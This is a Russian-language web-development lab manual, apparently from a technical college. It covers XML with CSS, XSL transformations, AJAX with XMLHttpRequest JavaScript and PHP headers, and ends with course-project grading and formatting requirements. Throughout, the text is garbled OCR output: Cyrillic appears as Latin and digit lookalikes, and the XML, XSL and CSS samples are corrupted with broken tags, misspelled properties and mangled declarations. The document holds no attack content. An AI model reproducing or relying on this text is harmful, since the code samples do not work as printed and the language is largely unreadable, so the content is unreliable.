SI3BIK TTPOTPAMMHPOBAHUS: €CTh PEKYPCUBHAS M TIPOIEAypHAsl CEMaHTHKA;, HAIIPUMEp, KpoMe
PEKYPCUBHBIX NMPUMEHEHUH 11a0J0HOB CYIIECTBYET BO3MOXKHOCTh OpraHW3aIuy MUKIOB (" aJis
Bcex anemMeHToB A BctaButh Takod HTML-kox").

PaGoraer Bce 3TO AOCTaTOYHO MPOCTO: JUIsi TOro, uro Obl mpeodpazoBatb XML-
nokyMeHT 1mo XSL-tabnuie HyXHO B3ITh XSL-mporieccop, A1aTh €My Ha BXOJ JBa (aitia u Ha
BBIXOJIC TIOJIYIUTCs pe3ynbTar. XSL mo3Boiser caenath u3 ogaoro XML-gokymeHnTa apyroiu,
B yvactHocTH, HTML. DTOT MexaHW3M MOXHO HCHOJIb30BaTh IS BU3yalW3allud JaHHBIX,
conepxarntuxcs B XML.

3amganue Nel. S3pik pasmetku XML + CSS 1. Co3znaiite daiin XML

index.xinl

=Tzml version="1.0" encoding="windows-1221" V>

snotepad=

<note 1d="1" date="11/04/99" time="13.30">

<subject>Bam Haa genobaa ectpeda</subiect>

<importance’>

“temxt=

Hago ectpetutecac <person1d="1625">Heanou

Heanopmem<i/person™, npegeapHTEILHO
OoSECHHE eMY 0o Teled oy <tel »123-12-12</tel >
<ftext®
=fnote=
“note 1d="2" date="12/04/99" time="15.00">
<zubject>IlosBoHBTE JomMo B/ subject=
“text>
<tel=124-13-13</tel =
<ftext®
“fnote>

<note 1d="3" date="13/04/99" time="5:00">
“gubject>Iloexare ¢ Maxcom ga pubanky </fsubject=
“text=
Hanomuwre Maxcy aTobl o cBapun Kamy # g3An bIécHa
<tel=124-10-13</tel >
<ftext=
“fnote=

=fnotepad=>

2. B pe3ynbrare BBIIOTHEHUS OYET MOTYYEHO CIEAYIOMIee:



AApED; @ 000 rents Ard -eH ngsinsees 9 ACE AnEYHSHTRIECRY ol

<?xml version="1.0" encoding="windows-1251" 7>
- <notepad:>
- <ncte id="1" date="11/04/99" time="13:30">
<subject>BaxHan genosas scrpeda</subject>
<impoartance />
- <text>
Hano BCTpeTHTRCA C
<person id="1625">Weanon UBaHoBHYeHN </parson>
; MIpeABaApHTENILHO NO3ZBOHNE €My No TenedoHy
<tel>123-12-12</tel>
< [text>
</note>|
- <ncte id="2" date="12/04/99" time="13:00">
<subject>Mo3BOHHTE JOMOH </subject>
- <text>
<te|>124-13-13</tel>
< [text>
</note>

- <ncte |[d="3" date="13/04/99" time="5:100">
<zubject>MNoexars ¢ MakcoH Ha peibanky</subjact>
- <text>
Hamomuute Makcy utobbl oH cBapun Kawy n B3an baécha
<te|>124-10-13</tel>
<[texk>
</note=>
< nntenad>
3. Cospmaiite cBsi3b ¢ Tabmumed crwiei. [ns storo B Hawane aitma index.xml
HaIIUMIIUTE CTPOKY

4. Cozpnaiite (haiin coaepxkamuii cTiib odpopmieHus 1.Css.
l.css
text { fontfamily: Verdana, Aral, Helvetica, sans-senf; font-size:

12px; font-style: normal; color: #FFFFFF; background-color: #202036}

subject { font-family: Aralfont-size: 12px; font-style: normal;
color: white; background-color: gray}

tel {color yellow}
5. B pe3ynbrare BBITIOJHEHUS BBl JOJDKHBI IOJMYUUTh CIEIYIOIIEE:

[Hamo BCIPETHTBECH C AH0OM I"EEEHDEH'-IE.I"L NpENEApHTEIEHO IOZE0HHE EMY II0
nedory 123-12-12 124-1: Hanomants Marcy
oOEl 0H CEApHN Kanny H Bzan OnmEcaa 124-10

3ananue Ne2. [Ipeobpazoanre XML ¢ momonisio XSL
1. PaspaGortaiite cTpyktypy XML nmokymeHTa, cojaepkamero uHGOPMAIUIO O
paboTHUKAX oOpraHu3auuu. 3ajnaiTe cTaTryc paOOTHUKA, UM, CTpaHy NPOXUBAHUS,

opranu3anuio, 3apabotHyro tiaty. IlompoOyiTe 3amaTh CTPYKTYypy AOKYMEHTA, HCIIONb3YS




COOCTBEHHBIE TErH, npu ITOM, MO>KHO ONMpaThCs Ha oOpa3zer:
lab.xmnl

=Txml version="1.0" encoding="windows-1251" 7=
<?xml-stylesheet type="text/xsl" href="lab.xsl" 7=
<catalog=
<cd=
=title=PaborEmk coencmyab</title=
=artist=Kordun Maxim=/artist=
ccountry=Ukraine</country=
“company=S okol=/comp any=
<prise=1045</prise=
<fed=
<cd=
=title=PaborEmm coencmyad</title=
<artist=Sokotsky Igor</artist=
<country=Ukraine</country=
<comp any=S okol=/comp any=
<prise=1045</prise=
<fed=
<cd=
=title=PaborEmm coemcmyad</title-
<artist=Devneko Alexey</artist=
<country=Ukraine</country=
<comp any=S okol=/comp any=
<prise=1045</prise=
<fed=
</catalog=

A

A

2. Cozpnaiire daiin lab.xsl , comepkamuii HHCTPYKIMKM IO OTOOPaXCHHWIO JaHHBIX B
nokymente XML.



<Tzml version="1.0" encoding="windows-1251" 7>
<xsl stylesheet

zmlns zesl="http: Swww w3 org/ 19993 5L/ Transf orm "
version="1.0"
=

<xzsl:template match="/">

<html=
<hody>
<table border="2" bgcolor="yell ow" >
<t
<th>Crartyc</th>
=th=Hma=ith=
<ftr=
<xsl:for-each select="catalog/cd">
<tre
<td=<mal walue-of select="ttle"/=<itd>
<td>=xslvalue-of select=" artist" /=< td>
=ty
=fzalfor-each=
<ftable>
<fbody=>
</html1>

<fzsltemplate>
<fusl stylesheet>

7. TlpumepHBIil pe3yabTaT padoThl
Cnucok pabOTHUKOB

JapniaarTa
CTatyce Hwva Ctpana OpraHH3aIMNA
(TpH./4ac)
PaGoTHHEK Kordun
Ukraine Sokol 10.45
CIELICIVED Maxim
PaGoTHHEK Kordun .
. Ukraine Sokol 10.45
CIIELICTIVIED Maxim
PaloTHHK Kordun .
. Ukraine Sokol 10.45
CIIENICTYKD Maxim

Konmponwsuuie eonpocwi:

1. Haznauenue XML?

2. Haznauenune CSS?

3. Haznauenune XSL?

4. Yro npexacrapiseT coboii madbaoHHoe nmpaBuiio B XSL?

5. Kakue unctpykiiuu XSL BBl HCIIOIB30BaIM MPH BHITIOJIHEHUH JTaOOPATOPHOM
paboThI?



7. JladboparopHasi padota «IIpumenenne Texnoaoruu AJAX»

Lenb pa®oThI: M3ydEeHUE TEXHOJOTUH M MOJYYCHHUE MPAKTHUYSCKUX HABBIKOB CO3JIaHUS
JOKYMEHTOB 0€3 Tiepe3arpy3ku CTpaHHIIbI.

TeopeTnueckue cBEACHUS

AJAX (ot anrn. Asynchronous JavaScript and XML — «acunxponnsiii JavaScript u
XMLy») - 370 moAX0d K MOCTPOSHUIO MHTEPAKTUBHBIX MOJb30BATEIBCKUX HUHTEP(PEHCOB BEO-
npuioxkenut. [Ipu ucnons3oBanuu AJAX BeO-cTpaHUIa HE TMEpe3arpykaercsl MOJHOCTHIO B
OTBET Ha KaXJI0¢ JICHCTBUE TIOIb30BaTelsi. BMecTo 3TOr0 ¢ BeO-cepBepa MOrpyKarTCs TOIBKO
HY>KHBIC MTOJIb30BaTeN0 AaHHbIe. AJAX — oJIMH U3 KOMIIOHEHTOB KoHmeniuu DHTML.

AJAX 0a3upyeTcs Ha IBYX OCHOBHBIX IPUHIIMIIAX:

ucnons3oBanne DHTML ans nuHamMudeckoro n3MeHEHUs COJIep KaHMs CTPAHUIIBI,

UCIIOJIH30BAHUE TEXHOJIOTHH JIMHAMHYECKOTO OOpallleHus K CepBepy «Ha JIeTy», 0e3
nepe3arpy3kd BCe CTpaHUIIBI TOJTHOCTHIO, HAIIPUMED:

¢ ucroip3oBaaneM XMLHttpRequest;

4yepe3 JMHAMUYECKOe CO3/IaHue IOUCPHUX PperiMOB;

Yyepe3 AMHaMU4eckoe co3nanue JavaScript ¢ 3arpyskoit Temna Script.

Hcmonp30Banue 3TUX ABYX MPUHITUIIOB MO3BOJISET CO37aBaTh HAMHOTO Oosiee ymoOHbBIe
BeO-uHTEp(delichl TOB30BaTENsl HAa TEX CTPAHUIAX CAWTOB, TJe HEOOXOIUMO aKTUBHOE
B3aMMOJICHCTBUE C Tob3oBareieM. Mcnons3oBanue AJAX cTaimo Hanbosee MomysIsipHO TMOCIIe
TOro, kak kommnanus Google Havajga akTUBHO HCIIOJIB30BATh €r0 MPHU CO3JaHUU CBOUX CAWTOB,
takux kak Gmail, Google Maps u Google Suggest. Mcnonb3oBanne AJAX Ha 3TUX cailTax
noATBEPIMII0 3P PEKTHBHOCTH MCIIOJIB30BaHUS JAHHOTO IOIX0/1A.

CpaBHUM cTaHAapTHBIA moaxon 1 AJAX:

1) Knaccuueckast MoJiejib BEO-TIPUIIOKCHHUS

[Tonb3oBaTenp 3aX0AUT HAa BEO-CTPAHUILY  HAKMMAET Ha KaKOW-HUOYb €€ DIIEMEHT.

Bbpaysep ¢popmupyer u oTnpaniseT 3anpoc cepBepy.

B oTBer cepBep reHepUpyEeT TOJHOCTHIO HOBYIO BEO-CTPAHHUILy M OTIPABISET €&
Opaysepy u T. 1.

2) Moaens AJAX

[Tonb3oBaTenp 3aX0AUT Ha BEO-CTPAHUILY i HAKMMAET Ha KaKOW-HUOYb €€ DIIEMEHT.

Ckpunt (Ha s3pike JavaScript) ompenenser, kakas uH(bOpMalMs HEOOXOAMMA IS
OOHOBIICHHSI CTPAHHMIIBI.

bpaysep oTnpasiissieT COOTBETCTBYIOLINIM 3apOC HA CEPBEP.

CepBep BO3BpaIaeT TOJBKO Ty YaCcTh JOKYMEHTA, Ha KOTOPYIO MPHUIIET 3aIpocC.

CKpuIlT BHOCHT HU3MEHEHHS C Y4YETOM MoJdydyeHHOW wuHdopmanuu (6e3 MnoIHOU
nepe3arpy3ku CTpaHULbI).

Yacro cepBep mnepemaér He roroBeli HTML-koxn, a Tonpko nannbele; a HTML-
AJIEMEHTBI CO3JIAI0TCSI UCXOJI U3 ATHX JAHHBIX, C UCIOJIB30BAHUEM METOJIOB MOJU(DUKAITUU
DOM. Ilpu 3ToM B KauecTBe opmara nepegadn JaHHbIX 00bIYHO nucnoib3zyercs XML

Hcnonw3oanue oobekta XMLHttpRequest)

PazOepémcss ¢ BO3MOXXHOCTSIMH,  KOTOpPBIC  MNPEAOCTABISCT HAM  OOBEKT
XMLHttpRequest. [Tonpobyem peanuzoBaTh Ha JavaScript paboTy ¢ ymaaCHHBIM CEpBEPOM
MOCPECTBOM  TpsiMOM  oTmpaBku  http-sampocoB u  oOpaGoTkoit  oTBeToB. OOBEKT
XMLHttpRequest, xoTopsiii no3Bossier nocbutate HTTP-3anpocel k yaaneHHOMY cepBeEpy H
NpPUHUMATh CTPaHUIY-OTBET cepBepa Kak B BHUJAE TekcTa, Tak B Buae DOM (oObexkTHOM
MOJIEJIH IOKYMEHTA).

Brepeeie oobekr XMLHttpRequest Bueapuia B cBoii Internet Explorer 5 ¢upma
Microsoft B Bume ActiveX-kommonentsl. [lo3xe on mosiBuicsa Takke B Mozilla, Netscape



(HaumHasi ¢ 7-0i BepcWH) , HO paboTaeT HECKONBKO MO apyromy (He B BHue ActiveX-
KOMITOHEHTHI).

Mertoast o6bexTa XMLHttpRequest

Hwxe npencrasiensl atpuOyTsl, oourue s Internet Explorer 5, Mozilla, Netscape 7 u
ap.:

abort() — oOpbIBaeT TEeKyIIMIA 3aITPOC

getAllResponseHeaders() - Bo3Bpaliaer moaHbIi HaOOP 3ar0JIOBKOB OTBETa (Ha3BaHHIA
Y 3HaYE€HUI1) B BUJI€ CTPOKH;

getResponseHeader(<headerLabel>) - Bo3Bpamaer CTpoKOBOE 3HAUCHHUE 3aroJiOBKa,
Ha3BaHHE KOTOPOTo yka3aHo B mapametpe <headerLabel>;

open(<method>, <URL> [, <asyncFlag>[, <userName>[, <password>]]]) -
[IpucBoenue napamerpos (Metona, URL, u npyrux) tekymemy 3amnpocy;

send(<content>) - Cob6¢cTBeHHO, "MockuT" 3ampoca;

setRequestHeader(<label>, <value>) - YcranoBka B OTIIPaBIIEMOM 3aIllpOCE 3arojOBKa
<label> co 3Hauennem <value>.

CaoiictBa 00bekTa XMLHttpRequest

onreadystatechange - coObITHE, BOSHHUKAIOIIIEE TIPU CMEHE CTaTyca 00bEKTa;

readyState - 3nauenus craryca (integer), MoXeT MPUHUMATh ClIeayroIIie 3HaueHus: 0 =
HenHunuaausuposad (uninitialized); 1 = "unet 3arpyska" (loading); 2 = "sarpyxen" (loaded);
3 = "unrepaktuBen" (interactive) 4 = "Bemmonaen" (complete);

responseText - cTpoka ¢ BO3BpAIICHHBIMU CEPBEPOM JIaHHBIMH;

response XML - DOM-coBMeCTHMBI 00BEKT-TOKYMEHT C BO3BPALICHHBIMU CEPBEPOM
JTAHHBIMH;

status - crangaptueiii HTTP kox cratyca, Hanpumep 404 (mus "Not Found™) umu 200
(ms "OK"™);

statusText - TekcToBOe COOOIIIEHUE cTaTyca.

AJITOPUTM HCITOJIb30BaHUs 00BEKTa MOYKHO MPEACTABUTH CICAYIOIIMM 00pa3oMm:

Coznanue sx3emiuisipa oobexkra XMLHttpRequest

YcraHoBKa [u1s Hero oopaboTurka coObITHs onreadystatechange

OTkphITHE COETMHEHUS C yKa3aHueM Turma 3anpoca, URL u mpounx mapameTpos.

HenocpencTBeHHO oTIpaBKa 3ampoca.

PaccMoTpuM 3TOT alropuT™ moipooHee.

1) Cosnmanue sk3emiisipa oovekra XMLHttpRequest. 31ech kak pa3 3alikuToO TO
pa3JielieHue B peain3anuu Opay3epoB, 0 KOTOPOM FOBOPUIIOCH BhIlie. KOHCTPYKIIUS CO3aHMsI
o0bekTa oTinmuaercs: B IE 5+ ona peanmmsoBana uepes ActiveXObject, a B ocTaJbHBIX
opaysepax (Mozilla, Netscape u Safari) — kak Bcrpoennsiii 00bekT THIIa XMLHttpRequest.

Wrak, Bei3oB ais Internet Explorer:

var req = new ActiveXObject("Microsoft XMLHTTP");

JUISL OCTAJIbHBIX:

var req = new XMLHttpRequest();

To ecth, A obecriedeHust KPOCCOPay3epHOCTH HAIIIETO KOJA, HYXKHO JIMIIb MPOBEPATH
Haymure oobekroB Window. XMLHttpRequest u window.ActiveXObject, 1, B 3aBUCUMOCTH OT
TOT0, KaKOH €CTh, TOT U MPUMEHSITD):

2) cozmanue 00pabOTYMKaA COOBITHH M OTKPBITHE COCIUHEHHS. DTH BBI3OBBI BBITJISAIST
MPOCTO U OJMHAKOBO:

reg.onreadystatechange = processReqChange;

reg.open(<"GET"|"POST"|...>, ,

3/1ecy JTUIIb HY)KHO YKa3aTh HYKHBIE MapameTphl, W, KOHEYHO e, HAIHCaTh CaMmy
¢dyukuuto processReqChange() (o Heit Huxe).



3) IMocne ompeneneHus BCEX MapaMETPOB 3alpoca €ro OCTAeTCs TOJBKO OTIPABUTH.
Jenaercs ato ynkmuein send() (mms Bepcum 0e3 ActiveX HYXKHO yKa3bIBaTh IapaMeTpOM
null):

/I na |E

reg.send();

[/l g ocTaNbHBIX

reg.send(null);

[locne sToro HaumHaer paboTaTh BBIIIEYKa3aHHBIH 00pabOTUMK cOObITMH. OH —
(akTUYeCKH OCHOBHAs 4acTh IporpaMmbl. B 00paboTumke OOBIYHO MPOUCXOAMUT IEpeXBat
BCCX BO3MOJXKHBIX KOJOB COCTOSHHA 3aIIpOCa U BBI3OB COOTBCTCTBYIOIIUX I[GflCTBI/IfI, a TaKXKeE
IIePCXBAaT BO3MOKHBIX OIIINOOK.

CoOCTBEHHO, BOT MPUMEP KyCKa KOJAA C ABYMS 3TUMH (PYHKIMSIMU:

var req;

function loadXMLDoc(url) {

Il s "pomuoro” XMLHttpRequest

if (window.XMLHttpRequest) {

req = new XMLHttpRequest();

reg.onreadystatechange = processReqChange;

reg.open("GET", url, true);

reg.send(null);

Il nnst Bepeunm ¢ ActiveX

} else if (window.ActiveXObject) {

reg = new ActiveXObject("Microsoft XMLHTTP");

if (req) {

reg.onreadystatechange = processReqChange;

reg.open("GET", url, true);

reg.send();

}

}

}
function processReqChange() {

Il Tonpko pu cocTostHum 'complete”

if (req.readyState == 4) {

Il nnst cratyca "OK"

if (reg.status == 200) {

Il 3mech UayT BCSIKKME MITYKU C TIOJIYYSHHBIM OTBETOM
}else {

alert("He ynmanock momyuuts qanneie:\n" +

req.status Text);

hy
¥
¥

Urak, 6onee moapoOHbIi UCXOAHBIN Ko JavaScript'oBoii yacTu:
var req;

function loadXMLDoc(url) {

iIf (window.XMLHttpRequest) {

req = new XMLHttpRequest();

reg.onreadystatechange = processReqChange;

reg.open("GET", url, true);

reg.send(null);

} else if (window.ActiveXObiject) {



req = new ActiveXObject("Microsoft XMLHTTP");
if (req) {

reg.onreadystatechange = processReqChange;
reg.open("GET", url, true);

reg.send();

}

}

}
function processReqChange() {

document.forml.state.value = stat(req.readyState);
ab = window.setTimeout("reg.abort();", 5000);
if (req.readyState == 4) {

clearTimeout(ab);
document.forml.statusnum.value = reg.status;
document.forml.status.value = req.statusText;
/[ only if "OK"

If (reg.status == 200) {
document.forml.response.value=req.responseText;
}else {

alert("He ynanoce moayuuts manasie:\n" + reg.statusText);
}

}

}

function stat(n)

{

switch (n) {

case O:

return "He MHUITMATU3UPOBAH";

break;

case 1:

return "3arpyska...";

break;

case 2:

return "3arpyxxeHo";

break;

case 3:

return "B mporecce...";

break;

case 4:

return "roroso"’;

break;

default:

return "HeusBeCcTHOE COCTOSTHUE"

¥
¥

function requestdata(params)

{
loadXMLDoc(‘examples/httpreq.php'+params);

¥

Hexotopsie ocobennoctu PHP-ckpuntoB paboraromux ¢ XMLHttpRequest



Jnst koppektHoii paboTsl ¢ XMLHttpRequest, Bam PHP ckpunt nomkeH noceuiaTs psj
3aroJIOBKOB, @ MMCHHO: THUII COACPKHUMOI0 M €ro KOAUPOBKY (Ba)KHO, €CJInu HCO6XOI[I/IMO
pa6OTaTB C KNPpHJUIMYCCKUM BI:IBO,Z[OM), a TAKXKC IapaMCTpPhbl KOIIUPOBAHUA COACPKUMOIO —
HY>KHO YCTpaHUTh JH000€.

[Tockut aToro Habopa 3arosoBkoB Ha PHP BBITISIUT MpUMEPHO TaK:

header(""Content-type: text/plain; charset=windows-1251");

header(*Cache-Control: no-store, no-cache, must-revalidate™);

header(""Cache-Control: post-check=0, pre-check=0", false);

Ecnu mtanupyetcst BeiBoA B opmarte text/plain (kak y MeHsT), HEOOXOAMMO y4eCTh, YTO
crienuagbHbie CMMBOIIBI (Tuma /n,/r,/t..) 0o6pabaTeIBalOTCSA MO YMOJYAHHIO TOJIBKO B CTPOKAX C
IBOWHBIMH KaBblukamu ().

[Tpumep:

<?

header("Content-type: text/plain; charset=windows-1251");

header(""Cache-Control: no-store, no-cache, must-revalidate");

header(""Cache-Control: post-check=0, pre-check=0", false);

echo "Xemmo Bopaa!\n\n";

if (isset(%$a))

{

for ($i=1; $i < 10000; $i++)

{

echo 'Dto TecroBas cTpoka. ';

if (($1 % 1000) == 0) flush();

}

}

if (count($_GET) > 0)

{

echo "\n\nIlepexano GET'om\n"; print_r($_GET);

?>

3ananue:

MonudunmpoBaTh pe3ylnbTaThl BBIMOJIHEHUS 5-0M J1a00paTopHOW paboOThI, MyTeM
ucrnonb3oBanust TexHoimorun AJAX (mokymMeHT ohopMHUTH TakuM oOpa3oM, YTOOBI MpH
TIePEX0/IC MO CChIIKAM CTPAHMIIA HE MEPETPYKaIach).

KoHTponsHbIE BOPOCHI

1. Kakoii JavaScript o0bexT obecnieunBaeT padoty uepe3 HT TP-nipotokosn?

2. B xakoMm popmarte 0OBIYHO BO3BPAIIAIOTCS TaHHbBIE?

3. Kakue 3arojgoBku HE0OX0IMMO MOCHUIATH ISl KOPPEKTHOM paboThI?



/(f— i AW, TI'ocynapcrBenHoe npogeccuoHabHOE 00pa3oBaTeIbHOE yUpeKIeHHe
PN «CBIKTBIBKApPCKHil J1€CONPOMBINLIEHHBINH TEXHHKYM)»
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KoHTpPOJIbHO-0LIECHOYHOE CPeICTBO

Tun KOHTPOJILHOIO 3aJaHUS: Kypcosas padota
Pazaea IIpoexTrpoBaHue U pa3padoTka BeO-NPUIIOKEHUH
IIpoBepsiemble pe3yibTaThl [101-2 ¥ 14,314

00y4eHuUs:

Kpurepuu oueHku

Onenka Kpurepun

2 cTaBUTCS 3a paboTy, HaOpaBIIyr0 cymMmmapHo MeHee 40 6aioB B COOTBETCTBHUH C JIICTOM
OIICHUBAHUSI.

3 CTaBUTCS 32 KYPCOBYIO paboTy, Habpasiryto cyMmmapHo oT 41 1o 50 6aisioB B COOTBETCTBHH C
JIMCTOM OLIEHMBAHUS

4 CTaBHTCS 3a paboTy, HaOpaBIIyI0 cyMMapHO oT 51 10 60 6aI0B B COOTBETCTBUU C JINCTOM
OIICHUBAHUS

5 CTaBHTCS 3a paboTy, HAOpaBIIyI0 CyMMapHO cBbime 60 6aioB B COOTBETCTBUU C JIMUCTOM
OLICHUBAHUS
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Kinouesa E.A. MPETO/IaBaTEeb JUCIUATIINH

ob1ienpodecCuoHaNBHOTO U
po(ecCUOHANBHOTO IIUKJIIA

CBIKTBIBKAp

2021



OCHOBHBIE TPEBOBAHMS K SAINUTE KYPCOBOI'O IPOEKTA

Ob6miass Tema KypcoBoi paboTel: Pa3zpaboTka Momaynsi 3JIE€KTPOHHOrO MOpTaia
cpenctBamu PHP u MySql.

NuauBrayaibHass TeMa KypcoBOil paOOThl TOHKHA OBITH CBSI3aHAa C KOHKPETHOM
npenMetHoil  obnactero. [Ipeamernas o0nacTh  BBIOMpAeTCs  CTYACHTOM M3
peajaraeMoro Crucka WM CaMOCTOATEIRHO U YTBEPXKIAETCS IMPernojaBaTesieM.
Ncxonnble nanHble 1 pabOThl KaXKIO0To CTYJIEHTa Ha3HAYaI0TCAd UHANBUIYATbHBIMU U
o(opMIISIIOTCS B 33JJaHUU Ha KypCOBYIO paboTy.

[lenp KypcoBOi paOOTBI: MOJYYUTh NPAKTUUECKUE HABBIKU Pa3pabOTKH
AJIEKTPOHHOIO mopTtaia ¢upmbl (opraHuszanuu) Oe3 HCIONb30BaHUS KOHCTPYKTOpa
CMS.

KypcoBasi paboTa BBINOJIHSETCS CpeACTBAMU si3blka mporpammupoBanus PHP u
CYBJT MySQL wna mumarpopme Web-cepsepa Apache. Tlpu paspabotke
KOHIENTYalbHOW Mojenu 0a3pl JaHHBIX PEKOMEHAYEeTCsl HCIOoJb30BaTh Power
Designer. 1y JIOKQIBHOW MPOBEPKH pabOTHI JIEKTPOHHOTO MOpTalia PEKOMEHIYETCs
HCIIOJIBL30BaTh MmakeT Denwer.

TexHnonornueckre TpeOOBaHMS K BBIMIOJIHEHUIO KyPCOBON PabOThHI

1. KypcoBas paGoTa BBINOJHAETCS HAa OCHOBE H3JAHHOIO paHEE IE€YaTHOTO
u3nanuss oobemMoMm He MeHee 40 cTpaHuWIl, UMEIOIIET0 HE MEHee S pas3leioB C
3arojioBkaMu ¥ He MeHee 10 wutrocTpanuii Mo TeKCTy (MCXOJHOE NMEeYaTHOE H3/laHue
MOET OBITh BBIOPAHO CTYJEHTOM CaMOCTOSITEIBHO, HO JOJKHO OBITh COTJIACOBAHO C
MpENnoAaBaTeiieM).

2. TpeboBaHusi K CTPYKType KypcoBoil pabotbl (mpoekta) [losicHutenvHas
3anucKa KypcoBOi pabOThI J0JKHA COJIEPKATh CIEAYIOIINE AIEMEHTHI:

1. TUTynabHBIN JIHCT

2. Brenenue. BBenenue sBisieTCS BaXKHOW COCTABHOW dYacThi0 paboThL. Bo
BCTYIJICHUH B CKaTOM BUJE OTOOPaXarOTCs CIAEAYIOIINE OCHOBHBIE BOTPOCHI:
— 000CHOBAaHHE AKTYAJIbHOCTH TEMbI JAaHHOW KypCOBOU pabOThl (IIPOEKTA); —
KpaTKasi XapaKTepUCTHUKa €€ CYIIHOCTH; — LeJdb U 3aJadd paboThl; —
IpeanoiiaraéMple METOIbI M CIOCOOBI PEIICHHs TOCTaBJICHHBIX 3a7ad;
OCHOBHast 4aCTh COCTOUT U3 TEOPETHUECKOTO U MPAKTUYECKOTO Pa3JIeoB.

3. Teopernueckas 4acTh. TeopeTmueckas YacTh JOJDKHA COAEPKATh aHAIU3
paspabarbiBacMoli WHGOPMAIIMOHHONW CHUCTEMBI, BXOJHBIE U BBIXOJHBIC
naHHbIe, (YHKIIMOHAT WH(GOPMAIMOHHONW CHUCTEMBI, aHAJIN3 BO3MOXKHOCTEH
CPEICTB, C IOMOIIbIO KOTOPBIX IJIAHUPYETCS BBIIOJHUTH KYpCOBYIO paboTy
(poeKT), BEIOOP METO/Ia PEIICHUS, CPEACTB pa3pabOTKU U 0OOCHOBAHUE ATOTO
BbIOOpa. PexoMeHryembliii 00beM TeOPETHUECKOM YacTu 3 — 7/ CTpaHUIIL.

4. llpaktuueckas yacTb. [IpakTHueckas 4YacTh JOJKHA COJEP)KaTh OMUCAHHE
BBITIOJTHEHHSI BCEX 3TAIllOB KypcoOBOHM paboThl (mpoekrta). s KakIoro sTama
clleyeT yKa3aTh Ha3HaYeHHE, N30paHHbIE METObI PEIICHUS], KOJI MPOTpaMMbl
(html, css, kox cueTumka W Jp.) U NPEAOCTABUTH PE3YJbTAThl BBHITOJHCHHS
JTana.



5. 3akmoueHue. 3aKIFOUCHHUE COJEPKUT OCHOBHBIC BBIBOJBI MO pa3pabOTaHHON
MpOrpaMMe, OLIEHKY MOJIYYEHHBIX PE3yJIbTaTOB U MEPCIEKTUBY JalbHEUIIETO
COBEPIIICHCTBOBAHUS M PA3BUTHUS MH()OPMAIIMOHHON CUCTEMBI.

6. Crnucox nmurtepatypbl. COACPKUT CIHUCOK JUTEPATYPHI, UCIIOIH30BAHHON TPHU
BBIIIOJIHEHUH KYPCOBOU pabOThI (IpOEKTa)

7. Ilpunoxenus. B npuiaokeHUu pacnoyiaraloTcsi JOMOJIHUTEIbHbBIE MaTEPUAIbI,
OTHOCSIIIMECS K KypcOBOW paboTe (MpoekTy). B mnpuioxkeHue BBIHOCUTCS
MPOTPaMMHBIN KOJ 3aKOHUYEHHOTO MPOrPaMMHOIO MPOAYKTA, MIPUTOIHBINA IS
OTIBITHOM 3KCIUTyaTallMy MOJIb30BaTeeM 0e3 yJacTusi pazpaboTyuka.

3. OOOPMJIEHUE PABOTHI

Tekcr kypcoBoro mpoekTta (paboThl) JOHKEH COOTBETCTBOBATh CTAHIAPTHBIM
TpeboBaHusIM. TeKCT pabOThl JOJKEH OBITh BHIIIOJIHEH Ha OAHOW CTOPOHE JUCTa Oenoi
oymaru (hopmara A4) B TekcroBoit pemakrope Word mpudt «14 Times New Roman» ¢
nossimu: JieBoe - 20 MM, mpaBoe — 10 mm, Bepxuee - 20 mm, HkHEe - 20 MM.
MexcTtpounslii uHTepBasl - 1,5. BhlpaBHHBaHME TEKCTa - MO LIMPUHE CTPAHUIIBI C
BKJIIOUEHHBIM PEKUMOM MEPEHOca.

CtpaHuIlbl TEKCTAa HYMEPYIOTCSL apaOCKuMH udpaMu MocpeauHe HUKHEW 4acTu
JIMCTa, HAYMHASL CO BTOPOW CTPAHUILIBI, TAE NACTCA COACpXKaHUE. TUTYIbHBIA JIUCT HE
HyMEpYyeTCsl, HO MPUHUMAETCA 3a MEpBYIO cTpaHully. OriaBieHHe U 3arojoBku 1-ro
YPOBHSI MUIIIYTCS MPOMUCHBIMUA OYKBaMHU.

®paspl, HAYMHAIOLIUECS C HOBOM «KPACHOI» CTPOKH, MEUYaTaroTcsl ¢ a03alHbIM
OTCTYIIOM OT Hauaja CTPOKH, paBHbIM 125 mMm (mepBasi cTaHJapTHasl MO3MUIIUS
tabynsaropa). Kaxnaplii paszzgen, 3akilOueHHe, CIUCOK JUTEpaTypbl W MPUIIOKEHUS
HAYMHAIOTCS C HOBOW CTpaHUIlbl. ITO TpeOOBaHME HE KacaeTcs nojapaszaesioB. HazBanus
pa3lieJloB W TMOJPA3feioB OTIEISIOTCS OT OCHOBHOTO TEKCTa pPadOThl JIBOWHBIM
MHTEpBAIOM. Takoe ke pacCTOSHHE BBIAEPKUBAETCS MEKIY 3arojJO0BKAMU Pa3/I€NiOB U
nojpas3eyoB (ABOMHON MHTEepBAIT). 3ar0OJOBKHU Pa3/IeoB U MOAPa3/IeIOB, COCTOSIIIUE U3
HECKOJIBKUX CTpPOK, IEYaTalOTCAd Yepe3 MOJYTOPHBIM HMHTEpBaj 0e€3 HCMOJIb30BaHUS
pexuMa nepeHocoB. Eciu 3aroioBKH COCTOST M3 HECKOJIBKHUX MPEIJI0KEHUH, TO OHU
OTJAEJISIFOTCS TOUKOM. ToYKa B KOHIIE 3ar0JI0OBKa Pa3IeioB U MOAPa3AeioB HE CTAaBUTCS.

He nmomyckaroTcsi Takke MOAYEPKUBAHKME, KYPCUB M TEPEHOCHI B COJIEPIKAHUM,
BBEJICHUH, 3aKJIIOYEHUU U CIIUCKE JIUTEpaTyphbl, 3arosioBkax. Cojaeprkaiiuecs: B TEKCTE
nepevyuciaeHus TpeOoBaHUM, YyKa3aHWM, TMOJOXKEHUH, OQOpPMISIOTCS B  BHJE
HEHYMEPOBAHHBIX (MAapKUPOBAHHBIX) WM HYMEPOBAaHHBIX CINHUCKOB. OTIeNbHBIC
MO3UIIMM B HEHYMEPOBAHHBIX CIUCKAaX IMOMEYAIOTCS 3HAKOM KOPOTKOTO THPE «—».
[Tocie HOMEpa MO3UIMK B HYMEPOBAHHBIX CIHCKaX CTaBUTCS ckoOKa. Kaxkmast mo3uius
CIMCKa 3aluChIBaeTCs ¢ ab3aHoro orcryna (orctyn Mapkepa — 1,25 cm, Tabymsius u
orctyn Tekcta — 1,6 cm). WMmmoctpanuu, mnpu HEOOXOAMMOCTH, MOTYT HMETh
HalMEHOBAHUE U MOSICHUTEIbHBIE JaHHbIE (TTOJAPUCYHOUYHBIN TEKCT).

